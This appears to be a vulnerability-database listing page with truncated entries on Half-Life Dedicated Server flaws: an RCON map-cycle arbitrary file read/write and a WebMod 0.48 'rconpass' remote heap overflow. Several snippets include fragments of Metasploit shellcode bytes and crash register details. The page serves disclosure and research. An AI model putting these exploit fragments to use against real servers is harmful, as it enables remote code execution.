Valve: [CS 1.6] Map cycle abuse allows arbitrary file read/write

The CS 1.6 server has a feature of map cycle - i.e. automatic map change after specified period of time. This feature relies on data of the file specified in mapcyclefile cvar. Any user with RCON access to the server can set this variable to arbitrary value - no input sanitization applies. In ord...

hlds-heap.txt

JMP EAX/ win32bind - Calc executer. Metasploit.com $shellcode = "\x33\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf4". "\x47\xba\xa4\x83\xeb\xfc\xe2\xf4\x08\xaf\xfe\xa4\xf4\x47\x31\xe1". "\xc8\xcc\xc6\xa1\x8c\x46\x55\x2f\xbb\x5f\x31\xfb\xd4\x46\x51\xed"...

HLDS WebMod 0.48 - rconpass Remote Heap Overflow

HLDS WebMod 0.48 - rconpass Remote Heap Overflow JMP EAX/ win32bind - Calc executer. Metasploit.com $shellcode = "\x33\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf4". "\x47\xba\xa4\x83\xeb\xfc\xe2\xf4\x08\xaf\xfe\xa4\xf4\x47\x31\xe1"...

HLDS WebMod 0.48 Multiple Remote Vulnerabilties

Exploit for multiple platform in category remote exploits...

HLDS WebMod 0.48 (rconpass) Remote Heap Overflow Exploit

No description provided by source. ?php HLDS WebMod 0.48 rconpass Remote Heap Overflow Exploit Tested on HLDS Launcher 4.1.1.1, WebMod 0.48, Windows XP SP2 Hebrew shir, skod.uk at gmail dot com 17/12/2007 Registers rconpass = "A"x16444: EAX 67E04955 wmm.67E04955 ECX 41414141 EDX 41414141 EBX...

HLDS WebMod 0.48 - 'rconpass' Remote Heap Overflow

JMP EAX/ win32bind - Calc executer. Metasploit.com $shellcode = "\x33\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf4". "\x47\xba\xa4\x83\xeb\xfc\xe2\xf4\x08\xaf\xfe\xa4\xf4\x47\x31\xe1". "\xc8\xcc\xc6\xa1\x8c\x46\x55\x2f\xbb\x5f\x31\xfb\xd4\x46\x51\xed"...

HLDS WebMod 0.48 (rconpass) Remote Heap Overflow Exploit

Exploit for unknown platform in category remote exploits ======================================================== HLDS WebMod 0.48 rconpass Remote Heap Overflow Exploit ======================================================== JMP EAX/ win32bind - Calc executer. Metasploit.com $shellcode =...